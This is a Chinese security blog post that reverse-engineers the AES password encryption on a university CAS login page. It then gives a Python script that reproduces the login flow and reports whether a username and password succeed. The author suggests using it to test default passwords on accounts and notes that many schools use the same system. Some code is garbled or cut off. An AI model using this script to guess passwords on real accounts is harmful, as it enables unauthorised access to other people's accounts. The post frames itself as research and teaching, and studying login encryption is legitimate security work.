首先随便输点东西,抓个包:
发现这里提交了加过密的password,接下来就是找password参数,看看对它怎么处理了:
全局搜索发现了奇怪的东西
_etd2(password.val(),casLoginForm.find("#pwdDefaultEncryptSalt").val());
可以看见,使用了_etd2函数对password进行处理了,传参还有一个盐值(pwdDefaultEncryptSalt)
那就去找找_etd2函数具体写了啥:
function _etd2(_p0, _p1) {
try {
var _p2 = encryptAES(_p0, _p1);
$("#casLoginForm").find("#passwordEncrypt").val(_p2);
} catch (e) {
$("#casLoginForm").find("#passwordEncrypt").val(_p0);
}
}
接着跟进到enc.js中的encryptAES函数:
function encryptAES(data, _p1) {
if (!_p1) {
return data;
}
var encrypted = _gas(_rds(64) + data, _p1, _rds(16));
return encrypted;
}
在往上看看_gds和_rds是什么东西:
function _gas(data, key0, iv0) {
key0 = key0.replace(/(^\s+)|(\s+$)/g, "");
var key = CryptoJS.enc.Utf8.parse(key0);
var iv = CryptoJS.enc.Utf8.parse(iv0);
var encrypted = CryptoJS.AES.encrypt(data, key, {
iv: iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
});
return encrypted.toString();
}
var $_chars = 'ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678';
var _chars_len = $_chars.length;
function _rds(len) {
var retStr = '';
for (i = 0; i
...
接下来请求了一次
如果这里返回false就不用验证码,反之true就要
最后就post提交登录请求:
浅浅写个脚本模拟一下:
import requests,execjs,re,json
requests=requests.Session()
class SZUauth():
def __init__(self,username,password):
self.username=username
self.password=password
self.js=open('enc.js','r',encoding='utf-8').read()
self.js=execjs.compile(self.js)
print('Started!')
def first_req(self):
headers = {
'Accept': 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
'Connection': 'keep-alive',
'Host': 'authserver.***.edu.cn',
'Referer': 'https://authserver.****.edu.cn/authserver/login?service=http%3A%2F%2Fwww1%2Eszu%2Eedu%2Ecn%2Fmanage%2Fcaslogin%2Easp%3Frurl%3D%2F',
'Sec-Fetch-Dest': 'image',
'Sec-Fetch-Mode': 'no-cors',
'Sec-Fetch-Site': 'same-origin',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0',
'sec-ch-ua': '"Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"'
}
params={
'service': 'http://www1.***.edu.cn/manage/caslogin.asp'
}
url="https://authserver.***.edu.cn/authserver/login"
requests.get(url,headers=headers,params=params)
print('GET Cookie OK!')
def get_salt(self):
headers = {
'Accept': 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
'Connection': 'keep-alive',
'Host': 'authserver.***.edu.cn',
'Referer': 'https://authserver.**.edu.cn/authserver/login?service=http%3A%2F%2Fwww1%2Eszu%2Eedu%2Ecn%2Fmanage%2Fcaslogin%2Easp%3Frurl%3D%2F',
'Sec-Fetch-Dest': 'image',
'Sec-Fetch-Mode': 'no-cors',
'Sec-Fetch-Site': 'same-origin',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0',
'sec-ch-ua': '"Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"'
}
params = {
'service': 'http://www1.***.edu.cn/manage/caslogin.asp'
}
url = "https://authserver.**.edu.cn/authserver/login"
res=requests.get(url, headers=headers, params=params)
salt=re.findall('var pwdDefaultEncryptSalt = "(.*?)";',res.text)[0]
lt=re.findall('',res.text)[0]
return salt,lt
def captcha(self):
headers = {
'Accept': 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
'Connection': 'keep-alive',
'Host': 'authserver.***.edu.cn',
'Referer': 'https://authserver.***.edu.cn/authserver/login?service=http%3A%2F%2Fwww1%2E***%2Eedu%2Ecn%2Fmanage%2Fcaslogin%2Easp%3Frurl%3D%2F',
'Sec-Fetch-Dest': 'image',
'Sec-Fetch-Mode': 'no-cors',
'Sec-Fetch-Site': 'same-origin',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0',
'sec-ch-ua': '"Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"'
}
params={
'username': '*********',
'pwdEncrypt2': 'pwdEncryptSalt',
'_': '1710940015117'
}
url="https://authserver.***.edu.cn/authserver/needCaptcha.html"
res=requests.get(url,headers=headers,params=params)
print("Captcha--->>>"+res.text)
def login(self,salt,lt,password,username):
headers = {
'Accept': 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
'Connection': 'keep-alive',
'Host': 'authserver.***.edu.cn',
'Referer': 'https://authserver.***.edu.cn/authserver/login?service=http%3A%2F%2Fwww1%2E***%2Eedu%2Ecn%2Fmanage%2Fcaslogin%2Easp%3Frurl%3D%2F',
'Sec-Fetch-Dest': 'image',
'Sec-Fetch-Mode': 'no-cors',
'Sec-Fetch-Site': 'same-origin',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0',
'sec-ch-ua': '"Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"'
}
pwd=self.js.call('encryptAES',password,salt)
data= {
'username': username,
'password':pwd,
'lt': lt,
'dllt': 'userNamePasswordLogin',
'execution': 'e2s1',
'_eventId': 'submit',
'rmShown': '1'
}
params = {
'service': 'http://www1.***.edu.cn/manage/caslogin.asp'
}
url="https://authserver.****.edu.cn/authserver/login"
res=requests.post(url=url,params=params,data=data,headers=headers)
return res.text,res.status_code
def check(self):
self.first_req()
salt,lt=self.get_salt()
self.captcha()
return self.login(salt,lt,self.password,self.username)
def check_pwd(username,password):
s=***auth(username,password)
output,code=s.check()
if code==302:
return True
else:
return False
这个由于验证码还在,所以同一个账号只能测三次,可以拿来测测默认密码啥的
很多学校的auth都是用的这套系统
原文始发于微信公众号(掌控安全EDU):某edu登录JS逆向
</span
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论